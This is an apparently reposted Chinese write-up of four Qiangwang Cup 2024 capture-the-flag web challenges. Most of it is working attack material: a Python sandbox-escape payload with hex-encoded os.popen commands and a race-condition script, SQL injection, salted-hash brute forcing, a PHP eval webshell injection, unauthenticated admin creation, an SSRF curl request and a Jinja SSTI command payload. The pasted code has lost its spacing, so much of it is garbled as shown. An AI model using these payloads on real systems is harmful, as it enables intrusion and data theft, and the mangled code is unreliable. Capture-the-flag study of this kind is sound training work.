强网杯2024
参考链接:https://mp.weixin.qq.com/s/Mfmg7UsL4i9xbm3V3e5HMA
https://mp.weixin.qq.com/s/vV_II8TpyaGL4HUlUS57RQ
PyBlockly
源码:
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json
app = Flask(__name__)
app.config['JSON_AS_ASCII']=False
blacklist_pattern =r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"defmodule_exists(module_name):
spec = importlib.util.find_spec(module_name)if spec isNone:returnFalseif module_name in sys.builtin_module_names:returnTrueif spec.origin:
std_lib_path = os.path.dirname(os.__file__)if spec.origin.startswith(std_lib_path)andnot spec.origin.startswith(os.getcwd()):returnTruereturnFalsedefverify_secure(m):for node in ast.walk(m):
match type(node):
case ast.Import:print("ERROR: Banned module ")returnFalse
case ast.ImportFrom:print(f"ERROR: Banned module {node.module}")returnFalsereturnTruedefcheck_for_blacklisted_symbols(input_text):if re.search(blacklist_pattern, input_text):print('black_list over.', re.search(blacklist_pattern, input_text))returnTrueelse:print('black_list detected.', re.search(blacklist_pattern, input_text))returnFalsedefblock_to_python(block):
block_type = block['type']
code =''if block_type =='print':
text_block = block['inputs']['TEXT']['block']
text = block_to_python(text_block)
code =f"print({text})"elif block_type =='math_number':ifstr(block['fields']['NUM']).isdigit():
code =int(block['fields']['NUM'])else:
code =''elif block_type =='text':if check_for_blacklisted_symbols(block['fields']['TEXT']):
code =''else:
code ="'"+ unidecode.unidecode(block['fields']['TEXT'])+"'"elif block_type =='max':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code =f"max({a}, {b})"elif block_type =='min':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code =f"min({a}, {b})"if'next'in block:
block = block['next']['block']
code +="\n"+ block_to_python(block)+"\n"else:return code
return code
defjson_to_python(blockly_data):
block = blockly_data['blocks']['blocks'][0]
python_code =""
python_code += block_to_python(block)+"\n"return python_code
defdo(source_code):
hook_code ='''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
'''print('do!')print('Source code: ',source_code)
code = hook_code + source_code
tree =compile(source_code,"run.py",'exec', flags=ast.PyCF_ONLY_AST)try:if verify_secure(tree):withopen("run.py",'w')as f:
f.write(code)
result = subprocess.run(['python','run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
os.remove('run.py')return result
else:return"Execution aborted due to security concerns."except:
os.remove('run.py')return"Timeout!"@app.route('/')defindex():return app.send_static_file('index.html')@app.route('/blockly_json', methods=['POST'])defblockly_json():
blockly_data = request.get_data()print(type(blockly_data))
blockly_data = json.loads(blockly_data.decode('utf-8'))print(blockly_data)try:
python_code = json_to_python(blockly_data)print(python_code)return do(python_code)except Exception as e:return jsonify({"error":"Error generating Python code","details":str(e)})if __name__ =='__main__':
app.run(host ='0.0.0.0')
发现在text经过了unidecode.unidecode,会将中文字符转为英文字符,从而实现绕过黑名单。
源码的大概意思是向blockly_json接口Post需要发的Block参数,flask接受到参数后进行黑名单查询,然后进行拼接语句形成代码
将代码写入run.py,然后执行run.py,五秒后删除run.py
思路一
在text中写入恶意代码(用中文字符替换所有英文字符实现绕过),通过不断写入run.py来实现条件竞争(flask支持多程线,毕竟是web应用,在删除之前,再次发包即可执行run.py)
所以就是要不断向run.py写入我们的dd if=/flag代码,总会有被执行的时候
为了绕过黑名单和实现插入我们的代码:用))((来闭合前后的代码,用**bytes. fromhex(‘72756e2e7079’). decode()**来实现绕过blacklist = [“popen”, “input”, “eval”, “exec”, “compile”, “memoryview”]
text:
‘,‘’))\nopen(bytes。fromhex(’72756e2e7079‘)。decode(),’wb‘)。write(bytes。fromhex(’696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929‘))\n\nprint(print(’1
run.py:
print(max('',''))
\n
(open(bytes. fromhex('72756e2e7079'). decode(),'wb'). write(bytes. fromhex('696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929')))
\n
print(print('1',10))
python脚本:
import requests
import json
import threading
url ='http://127.0.0.1'
data ={"blocks":{"blocks":[{"type":"print","x":101,"y":102,"inputs":{"TEXT":{"block":{"type":"max","inputs":{"A":{"block":{"type":"text","fields":{"TEXT":"‘,‘’))\nopen(bytes。fromhex(’72756e2e7079‘)。decode(),’wb‘)。write(bytes。fromhex(’696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929‘))\n\nprint(print(’1"}}},"B":{"block":{"type":"math_number","fields":{"NUM":10}}}}}}}}]}}defsend_requests():while1:
r = requests.post(url+'/blockly_json',headers={"Content-Type":"application/json"},data=json.dumps(data))
text = r.text
if'1 10'isnotin text and"No such file or direct"notin text andlen(text)>10:print(text)
os.exit()
threads =[]
epochs =100for _ inrange(epochs):
thread = threading.Thread(target=send_requests)
threads.append(thread)
thread.start()for thr in threads:
thr.join()
思路二
dd if=/flag写入到1.py,第二次发包利用run.py执行1.py
第一次发包:
写入1.py
open(bytes. fromhex('312e7079'). decode(),'wb'). write(bytes. fromhex('696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929'))
第二次发包:
执行2.py
__import__('1')
思路三
绕过len(event_name) > 4的限制:
__import__("builtins").len=lambda a: 1
,'闭合text部分代码,#注释掉后面的代码
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘ls$IFS$9/’)#"},"inputs":{}}]}}
'\n__import__("builtins").len=lambda a: 1;__import__('os').system('ls$IFS$9/') #
读不了,用dd提权
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘dd$IFS$9if=/flag’)#"},"inputs":{}}]}}
xiaohuanxiong
拿到《正确》的源码感觉就比较困难()
git clone https://github.com/forkable/xiaohuanxiong.git
思路一
在application/index/controller/Index.php的search方法处:
$books=$this->bookService->search($keyword,$num);
其中$keyword未进行过滤,并且直接拼接到sql语句中
publicfunctionsearch($keyword,$num){returnDb::query("select * from ".$this->prefix."book where delete_time=0 and match(book_name,summary,author_name,nick_name)
against ('".$keyword."' IN NATURAL LANGUAGE MODE) LIMIT ".$num);
payload:
?keyword=0')or updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name)FROM information_schema.tables)),3)#
因为有加salt后md5的操作,我们不能直接解密出来密码
先注册一个空密码的账号,拿到密码的md5后解出来就是盐值,ce6b59575e5106006eee521e1fc77f79 => bf3a27
利用盐值来爆密码:
import hashlib
import itertools
salt ='bf3a27'
target_hash ='cd68b9fa89089351c31f248f7a321583'
chars ='0123456789abcdef'
max_length =6for length inrange(1, max_length +1):for password_tuple in itertools.product(chars, repeat=length):
password =''.join(password_tuple)
hash_attempt = hashlib.md5((password + salt).encode()).hexdigest()if hash_attempt == target_hash:print(f'Found password: {password}')break
后台:application/admin/controller/Index.php
publicfunctionupdate(){if($this->request->isPost()){$site_name=input('site_name');$url=input('url');$img_site=input('img_site');$salt=input('salt');$api_key=input('api_key');$front_tpl=input('front_tpl');$payment=input('payment');$site_code=<<<INFO
<?php
return [
'url' => '{$url}',
'img_site' => '{$img_site}',
'site_name' => '{$site_name}',
'salt' => '{$salt}',
'api_key' => '{$api_key}',
'tpl' => '{$front_tpl}',
'payment' => '{$payment}'
];
INFO;file_put_contents(App::getRootPath().'config/site.php',$site_code);$this->success('修改成功','index','',1);}}
?url=‘}+
@eval($_POST[1])
+{’
思路二
盐值爆不出来的话,继续审计
在application/admin/controller/Admins.php重写初始化,而没有checkAuth,导致了Admins.php下的越权
class Admins extendsBaseAdmin{protected$adminService;protectedfunctioninitialize(){$this->adminService=newAdminService();}
新增管理员:
publicfunctionsave(Request$request){$data=$request->param();$admin=Admin::where('username','=',trim($data['username']))->find();if($admin){$this->error('存在同名账号');}else{$admin=newAdmin();$admin->username=$data['username'];$admin->password=md5(strtolower(trim($data['password'])).config('site.salt'));$admin->save();$this->success('新增管理员成功');}}
由于网址默认设置了伪静态,所以应该访问admin/admins/save.html
// URL伪静态后缀
'url_html_suffix' => 'html',
payload: admin/admins/save.html Post:username=admin1&password=123456
在处application/admin/controller/Payment.php,存在后台命令执行漏洞,直接传参json写马,<?php system(‘cat /flag’);
//支付配置文件publicfunctionindex(){if($this->request->isPost()){$content=input('json');file_put_contents(App::getRootPath().'config/payment.php',$content);$this->success('保存成功');}$content=file_get_contents(App::getRootPath().'config/payment.php');$this->assign('json',$content);returnview();}
拿到shell后,flag在根目录
Proxy
mian.go
package main
import("bytes""io""net/http""os/exec""github.com/gin-gonic/gin")type ProxyRequest struct{
URL string`json:"url" binding:"required"`
Method string`json:"method" binding:"required"`
Body string`json:"body"`
Headers map[string]string`json:"headers"`
FollowRedirects bool`json:"follow_redirects"`}funcmain(){
r := gin.Default()//api1,访问得到就给flag
v1 := r.Group("/v1"){
v1.POST("/api/flag",func(c *gin.Context){
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()if err !=nil{
c.JSON(http.StatusInternalServerError, gin.H{"status":"error","message":"Internal Server Error"})return}
c.JSON(http.StatusOK, gin.H{"flag": flag})})}//api2
v2 := r.Group("/v2"){
v2.POST("/api/proxy",func(c *gin.Context){var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err !=nil{//把请求的json数据解析后绑定到proxyRequest
c.JSON(http.StatusBadRequest, gin.H{"status":"error","message":"Invalid request"})return}//根据proxyRequest的内容新建请求
req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
payload:
curl -X POST http://47.93.15.136:30891/v2/api/proxy \
-H "Content-Type: application/json" \
-d '{
"url": "http://127.0.0.1:8769/v1/api/flag",
"method": "POST",
"body": "",
"headers": {},
"follow_redirects": false
}'
snake
脑洞:JS+SSTI
一个js贪吃蛇游戏,修改本地js文件,通关之后发现
/snake_win?username=admin
路由, 进行联合查询, 并发现 SSTI:
1' union select 1,2,"{{lipsum.__globals__.__builtins__.eval('__import__(\'os\').popen(\'cat /flag\').read()')}}"--%20
lipsum是jinjia模板中用于生成随机文本的一种方法
platform
版权归原作者 GKDf1sh 所有, 如有侵权,请联系我们删除。